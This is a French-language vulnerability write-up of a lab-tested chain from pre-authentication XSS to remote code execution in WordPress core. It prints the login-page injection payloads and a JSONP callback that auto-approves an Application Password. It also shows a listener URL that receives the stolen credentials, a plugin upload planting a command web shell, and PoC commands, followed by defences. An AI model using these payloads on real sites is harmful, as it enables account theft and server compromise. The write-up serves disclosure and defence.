Tests autorisés uniquement.
Tout ce qui suit a été exécuté contre un laboratoire local (WordPress 7.0.2 sur localhos). N'utilisez pas ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
Résumé exécutif
XSS2Shell n'est pas un simple bug — c'est une chaîne d'exploitation en sept étapes qui commence avec un seul caractère (< suivi d'un espace) contournant deux analyseurs HTML différents sur la page de connexion de WordPress, et se termine par l'exécution de PHP sur le serveur en tant que www-data.
Ce qui le rend dangereux :
- L'étape 1 ne nécessite aucune authentification — n'importe qui peut déclencher du JavaScript sur
wp-login.php. - Il réside dans le cœur de WordPress — pas dans un plugin ; pratiquement toutes les installations supportées depuis 2016 sont affectées.
- Il utilise le propre code de WordPress —
user-profile.js, REST JSONP, Application Passwords, téléversement de plugin — comme gadgets. - Un RCE complet est démontré et reconnu par WordPress — bien qu'il nécessite d'inciter un administrateur connecté à effectuer un seul clic.
Cet article présente chaque étape avec des captures d'écran de notre laboratoire local.
L'environnement de laboratoire
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 on http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Chaque site WordPress expose /wp-login.php. Cette page est le point d'entrée de toute la chaîne.
Étape 0 : La différence de parseur (cause racine)
Lorsque la connexion échoue, WordPress affiche le nom d'utilisateur soumis dans un message d'erreur. Le nom d'utilisateur passe par deux assainisseurs qui ne s'accordent pas sur ce qu'est une « balise » :
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Le payload utilise un espace après< :
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XSur le WordPress 7.0.2 vulnérable, cela survit à l'assainissement et devient un DOM actif :
./scripts/demo-parser-diff.sh http://localhost:9080
Sur le WordPress 7.0.4 corrigé, la même charge utile est échappée en HTML dans le message d'erreur — aucun élément actif.
Ce bug existe depuis WordPress 4.7 (2016) et a été manqué par des années d'audits de sécurité.
Étape 1 : XSS avant authentification (aucune connexion requise)
Les nœuds DOM injectés correspondent aux sélecteurs que le propre fichier user-profile.js de WordPress recherche sur la page de connexion (chargé pour le flux de réinitialisation du mot de passe) :
.reset-pass-submit .wp-generate-pwest cliqué automatiquement au chargement de la page- Le clic se propage au gestionnaire délégué de
#color-picker - La vérification de garde
user_id === checkuser_idpasse car les deux sontundefined - jQuery envoie un POST à
ajaxurl— maisajaxurln'existe pas sur la page de connexion…
À moins qu'on ne le remplace :
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>L'élément <area id=ajaxurl> devient window.ajaxurl. jQuery appelle .toString() → retourne href. WordPress REST retourne du JSONP → jQuery globalEval() → alert()s'exécute sur l'origine WordPress.

Soumettez le formulaire (ou ouvrez demo/stage1-preauth-xss.html et cliquez sur Run Stage 1) :

Impact à cette seule étape : hameçonnage de credentials sur le vrai domaine, détournement de session, appels API same-origin — sans aucune authentification.
Étape 2 : Ingénierie sociale — le clic de l'administrateur
Les étapes 2 à 7 nécessitent qu'un administrateur connecté ouvre une page contrôlée par l'attaquant. C'est ce frein qui maintient le CVSS en dessous de 10 — mais cela est réaliste pour des attaques ciblées.
L'administrateur pourrait recevoir : « Votre session a expiré — cliquez ici pour vous ré-authentifier. »

Lors du clic, la page de l'attaquant :
- Ouvre une popup enfant (
about:blank) - Redirige la fenêtre principale vers la page d'autorisation des mots de passe d'application de WordPress
- Injecte un formulaire XSS dans la fenêtre enfant et le soumet automatiquement à
wp-login.php

Étape 3 : Exécution de méthode de même origine (SOME) — approbation automatique
Le payload XSS de la fenêtre enfant remplace le callback JSONP de alert par :
window.opener.approve.clickWordPress REST encapsule la réponse :
/**/window.opener.approve.click({...})Le runtime résout window.opener (fenêtre parente) → .approve (le bouton #approve) → .click(). Le bouton Approuver des mots de passe d'application est cliqué automatiquement — sans interaction de l'utilisateur sur cette page.

Remarquez l'URL de rappel dans la page : les identifiants seront envoyés à http://127.0.0.1:9090/callback?...&password=[------].
Étape 4 : Capture du mot de passe d'application
WordPress crée un nouveau mot de passe d'application et redirige vers l'success_url de l'attaquant avec les identifiants dans la chaîne de requête :
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXL'attaquant dispose désormais de credentials d'authentification HTTP Basic pour l'API REST de WordPress — issus de la propre session de l'administrateur, sans que l'administrateur ait saisi quoi que ce soit après le clic initial sur le lien.
Étape 5 : Publication d'une page contrôlée par l'attaquant
À l'aide du mot de passe d'application volé, l'attaquant envoie une requête POST à /wp-json/wp/v2/pages et publie une page avec du JavaScript intégré. Les administrateurs disposent de la capacité unfiltered_html — les balises script sont conservées.
Étape 6 : Téléversement d'un plugin via la session administrateur
Le JavaScript de l'attaquant (s'exécutant dans le navigateur de l'administrateur sur la page publiée) :
- Récupère
/wp-admin/plugin-install.php?tab=uploadpour obtenir le nonce de téléversement - Envoie une requête POST avec un fichier ZIP malveillant vers
/wp-admin/update.php?action=upload-plugin - WordPress l'extrait dans
wp-content/plugins/xss2shell/
Le plugin n'a pas besoin d'être activé. Les fichiers PHP dans le répertoire du plugin sont directement accessibles via le web.
Étape 7 : Exécution de code à distance
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiRéponse :
{ "rce": true, "user": "www-data", "output": "www-data\n" }
L'attaquant peut désormais exécuter des commandes arbitraires en tant qu'utilisateur du serveur web — lire wp-config.php (identifiants de base de données), vider la base de données, effectuer un pivot latéral.
Sortie complète du terminal PoC :

La chaîne complète en un coup d'œil
sequenceDiagram participant A as Attacker server participant V as Victim browser participant W as WordPress 7.0.2 Note over V,W: Admin is logged in V->>A: Opens phishing link (1 click) A->>V: Attacker HTML + child popup V->>W: Main window → authorize-application.php V->>W: Child POSTs XSS payload to wp-login.php W->>V: JSONP executes window.opener.approve.click Note over V,W: Approve button clicked automatically W->>A: Redirect with Application Password A->>W: REST API publish page (Basic auth) V->>W: Admin visits page → uploads plugin ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-dataEst-ce vraiment dangereux ?
Ce qui est garanti (haute confiance)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Ce qui nécessite des conditions supplémentaires (chemin RCE)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Calibration de la sévérité
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
En résumé : Il ne s'agit pas d'un RCE sans clic et propageable comme Log4Shell. Il s'agit bien d'une vulnérabilité profondément technique au niveau du Core, affectant ~43 % du web où :
- L'étape 1 seule est un XSS pré-authentification grave sur la page de connexion
- La chaîne complète convertit un seul clic d'administrateur en compromission du serveur
- La cause profonde (différentiel d'analyseur) s'applique à toute base de code utilisant plusieurs analyseurs HTML
L'avis officiel de WordPress indique que l'exécution de code à distance nécessite « des conditions hors du contrôle de l'attaquant » et « une ingénierie sociale réussie. » C'est exact — mais la chaîne démontrée rend ces conditions réalisables avec un simple lien.
Reproduire la chaîne complète en local
# 1. Démarrer le lab make up # 2. Activer les mots de passe d'application en HTTP (lab uniquement) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Démarrer l'écouteur PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Dans le navigateur : # a. Se connecter en tant qu'administrateur sur http://localhost:9080/wp-login.php # b. Ouvrir http://127.0.0.1:9091/phishing-sim.html # c. Cliquer sur « Open attacker page » (autoriser les popups) # d. Attendre la sortie terminal affichant le shell + whoamiDéfense
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Le correctif ajoute esc_html() au nom d'utilisateur dans le chemin d'erreur de connexion — garantissant que la chaîne est traitée comme du texte et non réanalysée comme du HTML.
Pourquoi cela est important pour la recherche en sécurité
Chaque maillon de la chaîne est individuellement anodin :
- Différentiel d'analyseur syntaxique → maintenance de faible sévérité
- Mauvais script chargé sur la page de connexion → faible
- Callback JSONP validé par expression régulière → moyen
- Mot de passe d'application dans l'URL de redirection → moyen
- Le répertoire de plugins exécute du PHP sans activation → conception connue
Assemblés, ils donnent un CVSS de 8,9 et un shell.
La leçon : lors de l'évaluation de vulnérabilités XSS, posez-vous la question « qu'est-ce qui est déjà chargé sur cette page, et que fera-t-il si je lui fournis les bons nœuds DOM ? » La sévérité est une propriété de la chaîne, et non du bug individuel.

